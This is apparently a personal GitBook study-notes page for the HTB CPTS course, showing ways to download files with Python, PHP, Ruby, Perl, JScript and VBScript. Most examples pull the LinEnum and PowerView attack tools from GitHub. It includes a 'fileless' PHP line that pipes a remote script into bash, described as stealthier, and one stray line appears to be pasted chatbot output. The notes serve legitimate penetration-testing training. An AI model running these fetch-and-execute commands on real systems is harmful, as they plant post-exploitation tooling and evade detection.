z3tssu
  • README
  • Cybersecurity Certifications & Notes
    • Cybersecurity Knowledge Base
      • IPPSEC's Video Search for Hacking Methods
      • Finding Someone's Location with Seeker
      • Nishang Project
      • Hacktricks
    • πŸ“œCertifications & Courses
      • 🟒Hackthebox - CPTS
        • Getting Started
          • General
          • Tmux
          • Vim
          • Service Scanning
        • Penetration Testing Process
        • Network Enumeration with Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving the Nmap Scanning Results
          • Service Enumeration
          • Nmap Scripting Engine
            • Update the Scripting Engine
            • Nmap Script Locations
          • Performance Tags
          • Firewall and IDS/IPS Evasion
        • πŸ‘£Footprinting
          • πŸ”ŽHost-Based Service Enumeration
            • FTP [21]
              • Basics
                • vsFTPd Detailed Output
                • Hiding IDs - YES
              • Footprinting FTP
                • Nmap FTP Script Scanning
                • Service Interaction
              • FTP Commands
            • SMB [139/445]
              • Basics
                • Default Configuration
                • Create and Manage Samba Share
                • smbstatus
              • Footprinting SMB
                • SMB Nmap Scan
                • Smbclient
                • RPCclient
                  • Useful Commands
                  • Basic Enumeration
                  • Enumerate Users
                  • Group Information
                  • Bruteforcing User RIDs
                • smbmap
                • CrackMapExec
                • Enum4Linux-ng
            • NFS [111,2049]
              • Basics
                • Default Configuration of NFS
                • Creating an NFS Entry
                • Dangerous Settings
              • Footprinting NFS
                • nmap
                  • Basic Scan
                  • NFS Script Scan
                • Mount an NFS Share
                • Unmount NFS
            • DNS [53]
              • Basics
                • DNS Records
                • Default Configuration
                • Dangerous Settings
              • Footprinting DNS
                • DIG - NS QUERY
                • DIG - Version Query
                • DIG - Any Query
                • DIG - AXFR Zone Transfer
                • DIG - AXFR Zone Transfer - Internal
                • Subdomain Bruteforcing (For Loop with Seclists)
                • Subdomain Bruteforce (DNSenum)
            • SMTP (25,587)
              • Telnet SMTP
                • Telnet - HELO/EHLO
                • Telnet - VRFY
                • Telnet - Send an Email
              • Nmap Telnet
              • FTP User Enumeration
            • IMAP/POP3 [110,995,143,993]
              • Default Configuration
            • SNMP[161]
            • MySQL [3306]
            • MSSQL [1433]
            • Oracle TNS [1521]
            • IPMI [623]
            • SSH [22]
            • Rsync [873]
            • R-Services [512, 513, 514]
            • RDP [3389]
            • WinRM [5985, 5986]
            • WMI [135]
          • Introduction
            • Enumeration Principles
            • Enumeration Methodology
          • Infrastructure Enumeration
            • Domain Information
            • Cloud Resource
            • Staff
        • πŸ•ΈοΈWeb Information Gathering
          • πŸ€·β€β™‚οΈWHOIS
          • 🧬DNS
            • 🧬DIG
          • πŸ“šSubdomain Enumeration
            • DNS Zone Transfer
            • Sub Domain Bruteforcing
            • Virtual Hosts
              • Gobuster vhosts brutefoce
              • Add Vhosts to /etc/hosts
            • Certificate Transparency Logs
          • πŸ–οΈFingerprinting
            • Banner Grabbing
            • Web Application Firewall (Wafw00f)
            • Nikto
          • Crawling
            • robots.txt
            • .Well-Known URIs
            • Popular Web-Crawlers
              • Scrapy (ReconSpider)
              • Apache Nutch (Scalable Crawler)
              • Burp Suite Spider
              • OWASP ZAP (ZED Attack Proxy)
          • πŸ”₯Automating Recon
            • FinalRecon
          • πŸ”Search Engine Discovery
            • πŸ”Google Dorking
            • πŸ”Search Operators
          • Web Archives
          • Questions
            • Question 4
            • Question 5
        • Vulnerability Assessment
          • Vulnerability Scanning Tools
            • Nessus
              • Installing and Starting Nessus
              • Nessus Scan Types
              • Nessus Polices
                • Creating a Nessus Policy
              • Nessus Plugins
                • Creating a Plugin Rule
              • Credentialed Scanning
                • HTB Credentials for Nessus
              • Exporting Nessus Scans
              • Scanning Issues
            • OpenVAS
              • Installing OpenVAS
              • OpenVAS Scan
              • Exporting Scans
            • Nexpose
            • Qualys
          • Security Assessments
          • Vulnerability Assessment
          • Assessment Standards
          • Common Vulnerability Scoring System (CVSS)
          • Common Vulnerabilities and Exposures (CVE)
            • Open Vulnerability Assessment Language (OVAL)
          • Reporting
        • πŸ“‚File Transfers
          • File Transfer Methods
            • Windows File Transfer Methods
              • ⬇️Download Operations
                • πŸͺŸ PowerShell Base64 Encode & Decode
                • 🌐 PowerShell Web Downloads -
                • πŸ“¦ SMB Downloads
                • 🌐 FTP Downloads
              • ↗️Upload Operations
                • πŸ” Encode File Using PowerShell
                • 🌐 PowerShell Web Uploads
                • 🧬 PowerShell Base64 Web Upload
                • 🌐 SMB Uploads with WebDAV Twist
                • πŸ“‘ FTP Uploads
            • Linux File Transfer Methods
              • Download Operations
                • πŸ“¦ Base64 Encoding / Decoding for File Transfers
                • 🌐 Web Downloads with Wget and cURL
                • πŸ’£ Fileless Attacks in Linux – Execute Directly
                • 🐚 Download with Bash using /dev/tcp
                • πŸ” SSH Downloads with scp
                  • More Usage on SCP
              • Upload Operations
                • 🌐 Web Upload with HTTPS πŸš€
                • πŸ› οΈ Quick Web File Transfer Method
                • πŸ”„ SCP Upload
            • Transferring Files with Code
              • Downloading Files
              • Uploading Files
            • Transfer Files with Netcat, Ncat, RDP
            • Powershell Session File Transfer
            • RDP File Transfer
            • Protected File Transfers
            • Sending Files over HTTP/S
            • Upload and Download with Built in OS Tools
          • Detect or Be Detected
            • Detection
            • Evade Detection
        • 🐚Shells & Payloads
          • The Shell Basics
            • Bind Shell
            • Reverse Shell
          • Creating Payloads
            • Introduction to Payloads
            • Metasploit Payloads
            • Crafting Payloads with MSFvenom
          • Infiltrating Windows
            • πŸ› οΈ MS17-010 EternalBlue
          • Infiltrating Unix/Linux
            • 🐍 Spawning a TTY Shell with Python
            • Spawing Interactive Shells
          • Web Shells
            • πŸ§ͺ Laudanum – "One Web Shell to Rule Them All"
            • 🧠 Antak Webshell + ASPX Concepts
            • 🐘 PHP Web Shells
            • Shells & Payloads - The Live Engagement
          • Detection and Prevention
        • πŸ‘ΎMetasploit
          • Introduction
            • 🧰 Introduction to Metasploit Framework (MSF)
            • MSF Engagement Structure
          • MSF Components
            • 🧰 Modules
            • 🎯 Targets
            • 🧠 Payloads
            • πŸ”§ Encoders?
            • πŸ—„οΈ Database
            • πŸ”Œ Plugins
          • MSF Sessions
            • πŸ” Sessions
            • πŸ› οΈ Meterpreter
          • Additional Features
            • πŸ› οΈ Installing & Importing Custom Metasploit Modules
            • 🧠 Porting Scripts into Metasploit Modules
            • πŸ’₯ Introduction to MSFVenom
            • πŸ›‘οΈ Firewall and IDS/IPS Evasion
        • βš”οΈPassword Attacks
          • Where Credentials are Stored?
          • John The Ripper
          • Remote Password Attacks
            • πŸ–₯️ Network Services
              • WinRM [5985, 5986]
              • SSH [22]
              • RDP [3389]
              • SMB [139,445]
              • Questions
            • πŸ” Password Mutations & Wordlist Generation
            • πŸ” Password Reuse & Default Passwords
          • Windows Local Password Attacks
            • Attacking SAM (Security Account Manager)
            • Attacking LSASS
      • TCM Security - PNPT
      • Cisco Ethical Hacker
      • Introduction to Hacking Methodology
    • Pentesting Services
    • Pentesting Web
      • CBBH
      • TCM Security - Practical Web Hacking
    • Pentesting Wi-Fi
      • OSWP
      • Wireless Penetration Test (WPA2)
    • Pentesting Cloud
    • Network Defense
      • Blue Team Level 1
    • 🐍Scripting with Python
    • ☒️Active Directory Penetration Testing
      • Initial Attack Vectors
      • Post Compromise Enumeration
    • Cybersecurity Job Skills
      • Information Security Officer Guide
    • πŸ”IP Address Investigation
      • WHOIS
      • Reverse DNS
      • Geolocation of the IP
      • Check If IP is Active and has Services Running
      • Check the IP Reputation
      • Check Passive DNS History
      • Confirm the Actual Server Location
    • Cybersecurity Projects
      • Wireless Penetration Test (WPA2)
      • AWS Honeypot
      • SOC Analyst Home Lab
      • Threat Management with Wazuh SIEM
    • Cybersecurity Books
    • πŸ”„SOC
  • IT Certifications & Notes
    • Certifications
      • MS-900 Microsoft 365 Fundamentals
        • Describe Microsoft security and compliance capabilities
          • Describe the functions and identity types of Microsoft Entra ID
          • Describe access management capabilities of Microsoft Entra
            • Introduction
            • Describe Conditional Access
            • Describe Global Secure Access in Microsoft Entra
            • Describe Microsoft Entra roles and role-based access control (RBAC)
      • CISSP
      • ITIL
        • ITIL 4 Foundations
      • CCNA
        • David Bombal - Udemy
        • CCNA Training - Jeremy's IT Lab
          • Resources
          • Cisco Packet Tracer Labs
            • Cisco Packet Tracer Overview
            • Packet Tracer Lab 1
      • MCSE Certification Options
      • AZ-900
    • IT Projects & Training
      • Windows Server 2016 - Active Directory Lab Build
      • Windows Server 2022 Fundamentals
        • Introduction to Server Manager
          • Installing and Configuring Server Manager
          • Creating a VM on Microsoft Azure for Server 2022
        • Introduction to Active Directory
          • Active Directory and Setting up
          • Active Directory Overview
          • Delegation Rights for Active Directory
          • Active Directory Administrative Center
          • Common cmd commands for IT Support
        • Group Policy Management
          • How to apply basic GPO
        • Introduction to Share Folders
          • Creating Share Folders on Server Manager
          • Share Folder Permissions for Users
          • Map a Network Drive (locally)
          • Map a Network Drive through Active Directory
        • Understanding Windows/Common AD Issues
          • Installing RSAT Tools
          • Joining a PC to the Domain
        • Real Life IT Support Issues
          • When a User Gets locked out their accounts
          • Change Password of a User
      • Office 365 For IT Support
        • Office 365 Overview
      • Microsoft Azure Training
        • Getting Started in the Azure Portal
        • Introduction to Microsoft Azure Services
        • Basic Usage of Azure Services
        • Azure Deploy Sql Database Overview
        • Azure AD Connect Overview
        • Azure Microsoft File Share/Map Drives
        • Deploy Windows 11 to Azure
        • Microsoft Azure Basic Fundamentals (Azure Active Directory)
        • Introduction to Vnet (Overview)
        • Microsoft Azure Network/Security
        • Microsoft Azure Tagging (Final Course)
      • Networking Projects with Cisco Packet Tracer
        • Build a Basic Network
        • Webserver Project
      • Setup and Router and Switch
    • IT Knowledge Base
  • CTF/Box WRITEUPS
    • Tryhackme
    • HTB
      • Footprinting Lab - Easy
      • Footprinting Lab - Medium
      • Footprinting Lab - Hard
      • Nessus Skills Assessment
      • OpenVAS Skills Assessment
      • Tier 0
      • Tier 1
  • Cryptocurrency/Blockchain
    • Cryptocurrency Investigation
    • Certifications
      • Certified Blockchain Security Professional
Powered by GitBook
On this page
  • Python
  • Python 2 - Download
  • Python 3 - Download
  • PHP File Transfers
  • PHP Download and save a file locally:
  • PHP Download Using fopen() + Buffer Read
  • Fileless PHP Execution
  • Ruby – Download a File
  • Perl – Download
  • JavaScript for File Downloads on Windows
  • πŸ“ Step 1: Create wget.js
  • βš™οΈ Step 2: Execute with cscript.exe
  • VBScript File Downloads on Windows
  • Step 1: Create wget.vbs
  • Step 2: Run It with cscript.exe
  • πŸ’‘ Bonus Tip
  1. Cybersecurity Certifications & Notes
  2. Certifications & Courses
  3. Hackthebox - CPTS
  4. File Transfers
  5. File Transfer Methods
  6. Transferring Files with Code

Downloading Files

Python

Python is a popular programming language. Currently, version 3 is supported, but we may find servers where Python version 2.7 still exists. Python can run one-liners from an operating system command line using the option -c. Let's see some examples:

Python 2 - Download

z3tssu@htb[/htb]$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python 3 - Download

z3tssu@htb[/htb]$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP File Transfers

Did you know PHP powers over 77% of websites with a known server-side language? 🀯 So when you’re doing offensive security, expect to see PHP a lot β€” and it has some very handy tricks for transferring files. βš”οΈ

Let’s dive into 3 solid ways to download files using PHP β€” from saving to disk to fileless piping into bash!


PHP Download and save a file locally:

This is the quick and dirty one-liner

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh", $file);'

πŸ“Œ This does:

  1. Fetches the remote file using file_get_contents() 🌐

  2. Saves it as LinEnum.sh using file_put_contents() πŸ’Ύ


PHP Download Using fopen() + Buffer Read

Want more control or need to download large files? Use fopen() with a buffer:

php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

βœ… Benefits:

  • Handles large files better

  • Allows buffered downloads (less memory, smoother transfers) 🧠


Fileless PHP Execution

Just like with curl or wget, PHP can download and pipe code directly into bash:

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

πŸ“Œ This will:

  • Download the file line-by-line with file()

  • Echo the contents to stdout

  • Pipe it straight to bash for execution πŸš€

No files saved = stealthier ops πŸ•΅οΈβ€β™‚οΈ


Ruby – Download a File

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

πŸ“Œ What’s happening?

  • require "net/http": loads Ruby’s HTTP client πŸ“‘

  • Net::HTTP.get(...): fetches the file 🌍

  • File.write(...): saves it locally as LinEnum.sh πŸ’Ύ

Super clean and easy for Ruby fans!


Perl – Download

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

πŸ“Œ What’s going on?

  • use LWP::Simple: loads Perl’s web request module πŸ“‘

  • getstore(...): grabs the file and saves it locally πŸ’½

Absolutely! Here's your JavaScript-based file download guide, rewritten in a fun, clear, and engaging format β€” perfect for anyone exploring Windows scripting tricks! πŸ’»πŸ“¦πŸŽ―


JavaScript for File Downloads on Windows


πŸ’Ύ The Plan: Download a File Using JavaScript + cscript.exe

We’ll create a tiny JavaScript file that:

  1. Opens a web request 🌐

  2. Fetches a remote file πŸ“¦

  3. Saves it to disk πŸ’½


πŸ“ Step 1: Create wget.js

Create a file named wget.js and paste this code inside:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();

BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1; // binary
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

πŸ“Œ This script:

  • Uses WinHttpRequest to download the file

  • Streams the binary data using ADODB.Stream

  • Saves the result to the specified local file


βš™οΈ Step 2: Execute with cscript.exe

Run the script with:

C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

πŸ“Œ Breakdown:

  • /nologo: hides the banner clutter 🧹

  • wget.js: your script

  • First argument: URL to download

  • Second argument: Local filename to save as

πŸŽ‰ Result: The PowerView.ps1 script is downloaded and saved right in your current directory!


VBScript File Downloads on Windows

VBScript (Visual Basic Scripting Edition) is an old-school but still useful scripting language baked into Windows since the days of Windows 98! πŸ’Ύ

And guess what? You can use it to download files from the internet β€” no external tools required! Perfect for Red Teaming, CTFs, or locked-down environments. πŸ•΅οΈβ€β™‚οΈπŸ”


Step 1: Create wget.vbs

Open Notepad (or any text editor) and paste this code:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

πŸ“Œ What's happening:

  • Microsoft.XMLHTTP β†’ sends the GET request 🌐

  • Adodb.Stream β†’ handles the binary file stream πŸ’Ύ

  • Arguments = URL to download + local file to save as


Step 2: Run It with cscript.exe

Open Command Prompt or PowerShell, then run:

C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

πŸ“Œ What it does:

  • Downloads the PowerView.ps1 script from GitHub

  • Saves it as PowerView2.ps1 in the current folder

βœ… No PowerShell, curl, or bitsadmin needed!


πŸ’‘ Bonus Tip

If HTTPS fails (older systems), you can host your files on a local web server using HTTP (e.g., Python http.server), then fetch using VBScript like this:

cscript.exe /nologo wget.vbs http://192.168.1.100/file.ps1 file.ps1

PreviousTransferring Files with CodeNextUploading Files

Last updated 2 months ago

πŸ“œ
🟒
πŸ“‚